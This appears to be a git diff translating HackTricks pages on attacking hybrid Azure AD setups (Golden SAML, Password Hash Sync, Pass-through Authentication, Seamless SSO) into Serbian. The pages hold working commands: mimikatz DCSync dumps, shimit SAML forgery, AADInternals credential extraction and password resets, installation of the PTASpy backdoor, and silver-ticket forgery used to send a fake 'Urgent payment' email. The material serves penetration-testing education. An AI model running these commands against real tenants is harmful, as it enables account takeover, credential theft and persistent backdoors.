The process where an **Identity Provider (IdP)** produces a **SAMLResponse** to authorize user sign-in is paramount. Depending on the IdP's specific implementation, the **response** might be **signed** or **encrypted** using the **IdP's private key**. This procedure enables the **Service Provider (SP)** to confirm the authenticity of the SAMLResponse, ensuring it was indeed issued by a trusted IdP.
|
||||
Proces u kojem **Provajder identiteta (IdP)** proizvodi **SAMLResponse** za autorizaciju prijavljivanja korisnika je od suštinskog značaja. U zavisnosti od specifične implementacije IdP-a, **odgovor** može biti **potpisan** ili **šifrovan** koristeći **privatni ključ IdP-a**. Ova procedura omogućava **Provajderu usluga (SP)** da potvrdi autentičnost SAMLResponse-a, osiguravajući da je zaista izdat od strane poverenog IdP-a.
|
||||
|
||||
A parallel can be drawn with the [golden ticket attack](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), where the key authenticating the user’s identity and permissions (KRBTGT for golden tickets, token-signing private key for golden SAML) can be manipulated to **forge an authentication object** (TGT or SAMLResponse). This allows impersonation of any user, granting unauthorized access to the SP.
|
||||
Može se povući paralela sa [napadom zlatne karte](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), gde se ključ koji autentifikuje identitet i dozvole korisnika (KRBTGT za zlatne karte, privatni ključ za potpisivanje tokena za zlatni SAML) može manipulisati da **falsifikuje objekat autentifikacije** (TGT ili SAMLResponse). Ovo omogućava impersonaciju bilo kog korisnika, dajući neovlašćen pristup SP-u.
|
||||
|
||||
Golden SAMLs offer certain advantages:
|
||||
Zlatni SAML-ovi nude određene prednosti:
|
||||
|
||||
- They can be **created remotely**, without the need to be part of the domain or federation in question.
|
||||
- They remain effective even with **Two-Factor Authentication (2FA)** enabled.
|
||||
- The token-signing **private key does not automatically renew**.
|
||||
- **Changing a user’s password does not invalidate** an already generated SAML.
|
||||
- Mogu se **kreirati na daljinu**, bez potrebe da budu deo domena ili federacije u pitanju.
|
||||
- Ostaju efikasni čak i sa **dvofaktorskom autentifikacijom (2FA)** uključenom.
|
||||
- Privatni ključ za potpisivanje **tokena se automatski ne obnavlja**.
|
||||
- **Promena lozinke korisnika ne poništava** već generisani SAML.
|
||||
|
||||
#### AWS + AD FS + Golden SAML
|
||||
#### AWS + AD FS + Zlatni SAML
|
||||
|
||||
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) is a Microsoft service that facilitates the **secure exchange of identity information** between trusted business partners (federation). It essentially allows a domain service to share user identities with other service providers within a federation.
|
||||
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) je Microsoftova usluga koja olakšava **sigurnu razmenu informacija o identitetu** između poverenih poslovnih partnera (federacija). U suštini, omogućava usluzi domena da deli identitete korisnika sa drugim provajderima usluga unutar federacije.
|
||||
|
||||
With AWS trusting the compromised domain (in a federation), this vulnerability can be exploited to potentially **acquire any permissions in the AWS environment**. The attack necessitates the **private key used to sign the SAML objects**, akin to needing the KRBTGT in a golden ticket attack. Access to the AD FS user account is sufficient to obtain this private key.
|
||||
Sa AWS-om koji veruje kompromitovanom domenu (u federaciji), ova ranjivost se može iskoristiti da potencijalno **dobije bilo kakve dozvole u AWS okruženju**. Napad zahteva **privatni ključ koji se koristi za potpisivanje SAML objekata**, slično kao što je potrebno KRBTGT u napadu zlatne karte. Pristup AD FS korisničkom nalogu je dovoljan da se dobije ovaj privatni ključ.
|
||||
|
||||
The requirements for executing a golden SAML attack include:
|
||||
Zahtevi za izvršavanje napada zlatnog SAML-a uključuju:
|
||||
|
||||
- **Token-signing private key**
|
||||
- **IdP public certificate**
|
||||
- **IdP name**
|
||||
- **Role name (role to assume)**
|
||||
- Domain\username
|
||||
- Role session name in AWS
|
||||
- Amazon account ID
|
||||
- **Privatni ključ za potpisivanje tokena**
|
||||
- **IdP javni sertifikat**
|
||||
- **Ime IdP-a**
|
||||
- **Ime uloge (uloga koju treba preuzeti)**
|
||||
- Domen\korisničko ime
|
||||
- Ime sesije uloge u AWS-u
|
||||
- Amazon ID računa
|
||||
|
||||
_Only the items in bold are mandatory. The others can be filled in as desired._
|
||||
|
||||
To acquire the **private key**, access to the **AD FS user account** is necessary. From there, the private key can be **exported from the personal store** using tools like [mimikatz](https://github.com/gentilkiwi/mimikatz). To gather the other required information, you can utilize the Microsoft.Adfs.Powershell snapin as follows, ensuring you're logged in as the ADFS user:
|
||||
_Samo stavke u podebljanom su obavezne. Ostale se mogu popuniti po želji._
|
||||
|
||||
Da biste dobili **privatni ključ**, potreban je pristup **AD FS korisničkom nalogu**. Odatle se privatni ključ može **izvesti iz lične prodavnice** koristeći alate kao što je [mimikatz](https://github.com/gentilkiwi/mimikatz). Da biste prikupili druge potrebne informacije, možete koristiti Microsoft.Adfs.Powershell snapin na sledeći način, osiguravajući da ste prijavljeni kao ADFS korisnik:
|
||||
```powershell
|
||||
# From an "AD FS" session
|
||||
# After having exported the key with mimikatz
|
||||
@@ -98,9 +97,7 @@ To acquire the **private key**, access to the **AD FS user account** is necessar
|
||||
# Role Name
|
||||
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule
|
||||
```
|
||||
|
||||
With all the information, it's possible to forget a valid SAMLResponse as the user you want to impersonate using [**shimit**](https://github.com/cyberark/shimit)**:**
|
||||
|
||||
Sa svim informacijama, moguće je zaboraviti validan SAMLResponse kao korisnik koga želite da imitirate koristeći [**shimit**](https://github.com/cyberark/shimit)**:**
|
||||
```bash
|
||||
# Apply session for AWS cli
|
||||
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
|
||||
@@ -115,11 +112,9 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
|
||||
# Save SAMLResponse to file
|
||||
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
|
||||
```
|
||||
|
||||
<figure><img src="../../../../images/image (128).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### On-prem -> cloud
|
||||
|
||||
```powershell
|
||||
# With a domain user you can get the ImmutableID of the target user
|
||||
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())
|
||||
@@ -138,9 +133,7 @@ Export-AADIntADFSSigningCertificate
|
||||
# Impersonate a user to to access cloud apps
|
||||
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
|
||||
```
|
||||
|
||||
It's also possible to create ImmutableID of cloud only users and impersonate them
|
||||
|
||||
Takođe je moguće kreirati ImmutableID za korisnike koji su samo u oblaku i imitirati ih.
|
||||
```powershell
|
||||
# Create a realistic ImmutableID and set it for a cloud only user
|
||||
[System.Convert]::ToBase64String((New-Guid).tobytearray())
|
||||
@@ -152,14 +145,9 @@ Export-AADIntADFSSigningCertificate
|
||||
# Impersonate the user
|
||||
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose
|
||||
```
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed)
|
||||
- [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,46 +1,45 @@
|
||||
# Az - PHS - Password Hash Sync
|
||||
# Az - PHS - Sinhronizacija heša lozinke
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne informacije
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** is one of the sign-in methods used to accomplish hybrid identity. **Azure AD Connect** synchronizes a hash, of the hash, of a user's password from an on-premises Active Directory instance to a cloud-based Azure AD instance.
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Sinhronizacija heša lozinke** je jedna od metoda prijavljivanja koja se koristi za postizanje hibridnog identiteta. **Azure AD Connect** sinhronizuje heš, heša, lozinke korisnika iz lokalne instance Active Directory u instancu Azure AD u oblaku.
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
It's the **most common method** used by companies to synchronize an on-prem AD with Azure AD.
|
||||
To je **najčešća metoda** koju koriste kompanije za sinhronizaciju lokalnog AD sa Azure AD.
|
||||
|
||||
All **users** and a **hash of the password hashes** are synchronized from the on-prem to Azure AD. However, **clear-text passwords** or the **original** **hashes** aren't sent to Azure AD.\
|
||||
Moreover, **Built-in** security groups (like domain admins...) are **not synced** to Azure AD.
|
||||
Svi **korisnici** i **heš heševa lozinki** se sinhronizuju iz lokalnog u Azure AD. Međutim, **lozinke u čistom tekstu** ili **originalni** **heševi** se ne šalju u Azure AD.\
|
||||
Štaviše, **ugrađene** bezbednosne grupe (kao što su administratori domena...) se **ne sinhronizuju** u Azure AD.
|
||||
|
||||
The **hashes syncronization** occurs every **2 minutes**. However, by default, **password expiry** and **account** **expiry** are **not sync** in Azure AD. So, a user whose **on-prem password is expired** (not changed) can continue to **access Azure resources** using the old password.
|
||||
**Sinhronizacija heševa** se dešava svake **2 minute**. Međutim, prema podrazumevanju, **istek lozinke** i **istek naloga** se **ne sinhronizuju** u Azure AD. Tako, korisnik čija je **lokalna lozinka istekla** (nije promenjena) može nastaviti da **pristupa Azure resursima** koristeći staru lozinku.
|
||||
|
||||
When an on-prem user wants to access an Azure resource, the **authentication takes place on Azure AD**.
|
||||
Kada lokalni korisnik želi da pristupi Azure resursu, **autentifikacija se vrši na Azure AD**.
|
||||
|
||||
**PHS** is required for features like **Identity Protection** and AAD Domain Services.
|
||||
**PHS** je potreban za funkcije kao što su **Zaštita identiteta** i AAD usluge domena.
|
||||
|
||||
## Pivoting
|
||||
## Pivotiranje
|
||||
|
||||
When PHS is configured some **privileged accounts** are automatically **created**:
|
||||
Kada je PHS konfiguran, neka **privilegovana akounta** se automatski **kreiraju**:
|
||||
|
||||
- The account **`MSOL_<installationID>`** is automatically created in on-prem AD. This account is given a **Directory Synchronization Accounts** role (see [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) which means that it has **replication (DCSync) permissions in the on-prem AD**.
|
||||
- An account **`Sync_<name of on-prem ADConnect Server>_installationID`** is created in Azure AD. This account can **reset password of ANY user** (synced or cloud only) in Azure AD.
|
||||
- Nalog **`MSOL_<installationID>`** se automatski kreira u lokalnom AD. Ovaj nalog dobija ulogu **Nalozi za sinhronizaciju direktorijuma** (vidi [dokumentaciju](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) što znači da ima **dozvole za replikaciju (DCSync) u lokalnom AD**.
|
||||
- Nalog **`Sync_<ime lokalnog ADConnect servera>_installationID`** se kreira u Azure AD. Ovaj nalog može **resetovati lozinku BILO kojem korisniku** (sinhronizovanom ili samo u oblaku) u Azure AD.
|
||||
|
||||
Passwords of the two previous privileged accounts are **stored in a SQL server** on the server where **Azure AD Connect is installed.** Admins can extract the passwords of those privileged users in clear-text.\
|
||||
The database is located in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
|
||||
Lozinke dva prethodna privilegovana naloga su **smeštene u SQL server** na serveru gde je **Azure AD Connect instaliran.** Administratori mogu izvući lozinke tih privilegovanih korisnika u čistom tekstu.\
|
||||
Baza podataka se nalazi u `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
|
||||
|
||||
It's possible to extract the configuration from one of the tables, being one encrypted:
|
||||
Moguće je izvući konfiguraciju iz jedne od tabela, koja je šifrovana:
|
||||
|
||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
||||
|
||||
The **encrypted configuration** is encrypted with **DPAPI** and it contains the **passwords of the `MSOL_*`** user in on-prem AD and the password of **Sync\_\*** in AzureAD. Therefore, compromising these it's possible to privesc to the AD and to AzureAD.
|
||||
**Šifrovana konfiguracija** je šifrovana sa **DPAPI** i sadrži **lozinke `MSOL_*`** korisnika u lokalnom AD i lozinku **Sync\_\*** u AzureAD. Stoga, kompromitovanjem ovih je moguće privesc do AD i AzureAD.
|
||||
|
||||
You can find a [full overview of how these credentials are stored and decrypted in this talk](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
Možete pronaći [potpun pregled o tome kako su ove akreditive smeštene i dešifrovane u ovom predavanju](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
|
||||
### Finding the **Azure AD connect server**
|
||||
|
||||
If the **server where Azure AD connect is installed** is domain joined (recommended in the docs), it's possible to find it with:
|
||||
### Pronalaženje **Azure AD connect servera**
|
||||
|
||||
Ako je **server na kojem je instaliran Azure AD connect** pridružen domenu (preporučeno u dokumentima), moguće ga je pronaći sa:
|
||||
```powershell
|
||||
# ActiveDirectory module
|
||||
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
|
||||
@@ -48,9 +47,7 @@ Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAc
|
||||
#Azure AD module
|
||||
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
|
||||
```
|
||||
|
||||
### Abusing MSOL\_\*
|
||||
|
||||
### Zloupotreba MSOL\_*
|
||||
```powershell
|
||||
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
|
||||
Get-AADIntSyncCredentials
|
||||
@@ -59,14 +56,12 @@ Get-AADIntSyncCredentials
|
||||
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> You can also use [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) to obtain these credentials.
|
||||
> Možete takođe koristiti [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) da dobijete ove akreditive.
|
||||
|
||||
### Abusing Sync\_\*
|
||||
|
||||
Compromising the **`Sync_*`** account it's possible to **reset the password** of any user (including Global Administrators)
|
||||
### Zloupotreba Sync\_\*
|
||||
|
||||
Kompromitovanjem **`Sync_*`** naloga moguće je **resetovati lozinku** bilo kog korisnika (uključujući Globalne Administratore)
|
||||
```powershell
|
||||
# This command, run previously, will give us alse the creds of this account
|
||||
Get-AADIntSyncCredentials
|
||||
@@ -87,9 +82,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
|
||||
|
||||
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
|
||||
```
|
||||
|
||||
It's also possible to **modify the passwords of only cloud** users (even if that's unexpected)
|
||||
|
||||
Takođe je moguće **modifikovati lozinke samo za cloud** korisnike (čak i ako to nije očekivano)
|
||||
```powershell
|
||||
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
|
||||
# The CloudAnchor is of the format USER_ObjectID.
|
||||
@@ -98,15 +91,14 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj
|
||||
# Reset password
|
||||
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
|
||||
```
|
||||
|
||||
It's also possible to dump the password of this user.
|
||||
Moguće je izvući lozinku ovog korisnika.
|
||||
|
||||
> [!CAUTION]
|
||||
> Another option would be to **assign privileged permissions to a service principal**, which the **Sync** user has **permissions** to do, and then **access that service principal** as a way of privesc.
|
||||
> Druga opcija bi bila da **dodelite privilegovane dozvole servisnom principalu**, što **Sync** korisnik ima **dozvole** da uradi, a zatim **pristupite tom servisnom principalu** kao način privesc.
|
||||
|
||||
### Seamless SSO
|
||||
|
||||
It's possible to use Seamless SSO with PHS, which is vulnerable to other abuses. Check it in:
|
||||
Moguće je koristiti Seamless SSO sa PHS, koji je podložan drugim zloupotrebama. Proverite to u:
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
@@ -120,7 +112,3 @@ seamless-sso.md
|
||||
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,44 +2,40 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne informacije
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication allows your users to **sign in to both on-premises and cloud-based applications using the same passwords**. This feature provides your users a better experience - one less password to remember, and reduces IT helpdesk costs because your users are less likely to forget how to sign in. When users sign in using Azure AD, this feature **validates users' passwords directly against your on-premises Active Directory**.
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication omogućava vašim korisnicima da **prijave se na aplikacije koje se nalaze na lokaciji i u oblaku koristeći iste lozinke**. Ova funkcija pruža vašim korisnicima bolje iskustvo - jedna lozinka manje za pamćenje, i smanjuje troškove IT podrške jer je manje verovatno da će korisnici zaboraviti kako da se prijave. Kada se korisnici prijave koristeći Azure AD, ova funkcija **validira lozinke korisnika direktno protiv vašeg lokalnog Active Directory-a**.
|
||||
|
||||
In PTA **identities** are **synchronized** but **passwords** **aren't** like in PHS.
|
||||
U PTA **identiteti** su **sinhronizovani** ali **lozinke** **nisu** kao u PHS.
|
||||
|
||||
The authentication is validated in the on-prem AD and the communication with cloud is done by an **authentication agent** running in an **on-prem server** (it does't need to be on the on-prem DC).
|
||||
Autentifikacija se validira u lokalnom AD-u, a komunikacija sa oblakom se vrši putem **autentifikacionog agenta** koji radi na **lokalnom serveru** (ne mora biti na lokalnom DC-u).
|
||||
|
||||
### Authentication flow
|
||||
### Tok autentifikacije
|
||||
|
||||
<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. To **login** the user is redirected to **Azure AD**, where he sends the **username** and **password**
|
||||
2. The **credentials** are **encrypted** and set in a **queue** in Azure AD
|
||||
3. The **on-prem authentication agent** gathers the **credentials** from the queue and **decrypts** them. This agent is called **"Pass-through authentication agent"** or **PTA agent.**
|
||||
4. The **agent** **validates** the creds against the **on-prem AD** and sends the **response** **back** to Azure AD which, if the response is positive, **completes the login** of the user.
|
||||
1. Da bi se **prijavio**, korisnik se preusmerava na **Azure AD**, gde šalje **korisničko ime** i **lozinku**
|
||||
2. **Akreditivi** se **šifruju** i postavljaju u **red** u Azure AD
|
||||
3. **Lokalni autentifikacioni agent** prikuplja **akreditive** iz reda i **dešifruje** ih. Ovaj agent se naziva **"Pass-through authentication agent"** ili **PTA agent.**
|
||||
4. **Agent** **validira** akreditive protiv **lokalnog AD-a** i šalje **odgovor** **nazad** Azure AD-u koji, ako je odgovor pozitivan, **kompletira prijavu** korisnika.
|
||||
|
||||
> [!WARNING]
|
||||
> If an attacker **compromises** the **PTA** he can **see** the all **credentials** from the queue (in **clear-text**).\
|
||||
> He can also **validate any credentials** to the AzureAD (similar attack to Skeleton key).
|
||||
> Ako napadač **kompromituje** **PTA**, može **videti** sve **akreditive** iz reda (u **čistom tekstu**).\
|
||||
> Takođe može **validirati bilo koje akreditive** za AzureAD (sličan napad kao na Skeleton key).
|
||||
|
||||
### On-Prem -> cloud
|
||||
|
||||
If you have **admin** access to the **Azure AD Connect server** with the **PTA** **agent** running, you can use the **AADInternals** module to **insert a backdoor** that will **validate ALL the passwords** introduced (so all passwords will be valid for authentication):
|
||||
### On-Prem -> oblak
|
||||
|
||||
Ako imate **admin** pristup **Azure AD Connect serveru** sa **PTA** **agentom** koji radi, možete koristiti **AADInternals** modul da **ubacite backdoor** koji će **validirati SVE lozinke** unesene (tako da će sve lozinke biti validne za autentifikaciju):
|
||||
```powershell
|
||||
Install-AADIntPTASpy
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> If the **installation fails**, this is probably due to missing [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
|
||||
|
||||
It's also possible to **see the clear-text passwords sent to PTA agent** using the following cmdlet on the machine where the previous backdoor was installed:
|
||||
> Ako **instalacija ne uspe**, to je verovatno zbog nedostatka [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
|
||||
|
||||
Takođe je moguće **videti lozinke u čistom tekstu koje se šalju PTA agentu** koristeći sledeći cmdlet na mašini gde je prethodni backdoor instaliran:
|
||||
```powershell
|
||||
Get-AADIntPTASpyLog -DecodePasswords
|
||||
```
|
||||
|
||||
This backdoor will:
|
||||
|
||||
- Create a hidden folder `C:\PTASpy`
|
||||
@@ -47,16 +43,16 @@ This backdoor will:
|
||||
- Injects `PTASpy.dll` to `AzureADConnectAuthenticationAgentService` process
|
||||
|
||||
> [!NOTE]
|
||||
> When the AzureADConnectAuthenticationAgent service is restarted, PTASpy is “unloaded” and must be re-installed.
|
||||
> Kada se AzureADConnectAuthenticationAgent servis ponovo pokrene, PTASpy se “uklanja” i mora se ponovo instalirati.
|
||||
|
||||
### Cloud -> On-Prem
|
||||
|
||||
> [!CAUTION]
|
||||
> After getting **GA privileges** on the cloud, it's possible to **register a new PTA agent** by setting it on an **attacker controlled machine**. Once the agent is **setup**, we can **repeat** the **previous** steps to **authenticate using any password** and also, **get the passwords in clear-text.**
|
||||
> Nakon dobijanja **GA privilegija** na cloudu, moguće je **registrovati novi PTA agent** postavljanjem na **mašini pod kontrolom napadača**. Kada je agent **postavljen**, možemo **ponoviti** **prethodne** korake da **autentifikujemo koristeći bilo koju lozinku** i takođe, **dobijemo lozinke u čistom tekstu.**
|
||||
|
||||
### Seamless SSO
|
||||
|
||||
It's possible to use Seamless SSO with PTA, which is vulnerable to other abuses. Check it in:
|
||||
Moguće je koristiti Seamless SSO sa PTA, koji je podložan drugim zloupotrebama. Proverite to u:
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
@@ -68,7 +64,3 @@ seamless-sso.md
|
||||
- [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,30 +2,29 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne informacije
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) automatically **signs users in when they are on their corporate devices** connected to your corporate network. When enabled, **users don't need to type in their passwords to sign in to Azure AD**, and usually, even type in their usernames. This feature provides your users easy access to your cloud-based applications without needing any additional on-premises components.
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) automatski **prijavljuje korisnike kada su na svojim korporativnim uređajima** povezanih na vašu korporativnu mrežu. Kada je omogućeno, **korisnici ne moraju da kucaju svoje lozinke da bi se prijavili na Azure AD**, i obično, čak ni da kucaju svoja korisnička imena. Ova funkcija omogućava vašim korisnicima lak pristup vašim aplikacijama zasnovanim na oblaku bez potrebe za dodatnim komponentama na lokaciji.
|
||||
|
||||
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
|
||||
|
||||
Basically Azure AD Seamless SSO **signs users** in when they are **on a on-prem domain joined PC**.
|
||||
U suštini, Azure AD Seamless SSO **prijavljuje korisnike** kada su **na PC-u pridruženom lokalnoj domeni**.
|
||||
|
||||
It's supported by both [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) and [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md).
|
||||
Podržava ga i [**PHS (Sinhronizacija heša lozinke)**](phs-password-hash-sync.md) i [**PTA (Autentifikacija prolaza)**](pta-pass-through-authentication.md).
|
||||
|
||||
Desktop SSO is using **Kerberos** for authentication. When configured, Azure AD Connect creates a **computer account called AZUREADSSOACC`$`** in on-prem AD. The password of the `AZUREADSSOACC$` account is **sent as plain-text to Azure AD** during the configuration.
|
||||
Desktop SSO koristi **Kerberos** za autentifikaciju. Kada je konfigurisan, Azure AD Connect kreira **račun računara nazvan AZUREADSSOACC`$`** u lokalnom AD-u. Lozinka računa `AZUREADSSOACC$` je **poslata u čistom tekstu Azure AD-u** tokom konfiguracije.
|
||||
|
||||
The **Kerberos tickets** are **encrypted** using the **NTHash (MD4)** of the password and Azure AD is using the sent password to decrypt the tickets.
|
||||
**Kerberos karte** su **enkriptovane** koristeći **NTHash (MD4)** lozinke, a Azure AD koristi poslatu lozinku za dekripciju karata.
|
||||
|
||||
**Azure AD** exposes an **endpoint** (https://autologon.microsoftazuread-sso.com) that accepts Kerberos **tickets**. Domain-joined machine's browser forwards the tickets to this endpoint for SSO.
|
||||
**Azure AD** izlaže **krajnju tačku** (https://autologon.microsoftazuread-sso.com) koja prihvata Kerberos **karte**. Pregledač mašine pridružene domeni prosleđuje karte ovoj krajnjoj tački za SSO.
|
||||
|
||||
### On-prem -> cloud
|
||||
|
||||
The **password** of the user **`AZUREADSSOACC$` never changes**. Therefore, a domain admin could compromise the **hash of this account**, and then use it to **create silver tickets** to connect to Azure with **any on-prem user synced**:
|
||||
|
||||
**Lozinka** korisnika **`AZUREADSSOACC$` nikada se ne menja**. Stoga, domen administrator može kompromitovati **heš ovog računa**, a zatim ga koristiti za **kreiranje srebrnih karata** za povezivanje na Azure sa **bilo kojim korisnikom na lokaciji koji je sinhronizovan**:
|
||||
```powershell
|
||||
# Dump hash using mimikatz
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
|
||||
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
|
||||
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
|
||||
|
||||
# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
|
||||
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local
|
||||
@@ -39,9 +38,7 @@ Import-Module DSInternals
|
||||
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
|
||||
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
|
||||
```
|
||||
|
||||
With the hash you can now **generate silver tickets**:
|
||||
|
||||
Sa hešom sada možete **generisati srebrne karte**:
|
||||
```powershell
|
||||
# Get users and SIDs
|
||||
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
|
||||
@@ -56,66 +53,57 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
|
||||
## Send email
|
||||
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
|
||||
```
|
||||
Da biste iskoristili srebrnu kartu, sledeći koraci treba da se izvrše:
|
||||
|
||||
To utilize the silver ticket, the following steps should be executed:
|
||||
|
||||
1. **Initiate the Browser:** Mozilla Firefox should be launched.
|
||||
2. **Configure the Browser:**
|
||||
- Navigate to **`about:config`**.
|
||||
- Set the preference for [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) to the specified [values](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically):
|
||||
- `https://aadg.windows.net.nsatc.net`
|
||||
- `https://autologon.microsoftazuread-sso.com`
|
||||
3. **Access the Web Application:**
|
||||
- Visit a web application that is integrated with the organization's AAD domain. A common example is [Office 365](https://portal.office.com/).
|
||||
4. **Authentication Process:**
|
||||
- At the logon screen, the username should be entered, leaving the password field blank.
|
||||
- To proceed, press either TAB or ENTER.
|
||||
1. **Pokrenite pregledač:** Treba pokrenuti Mozilla Firefox.
|
||||
2. **Konfigurišite pregledač:**
|
||||
- Idite na **`about:config`**.
|
||||
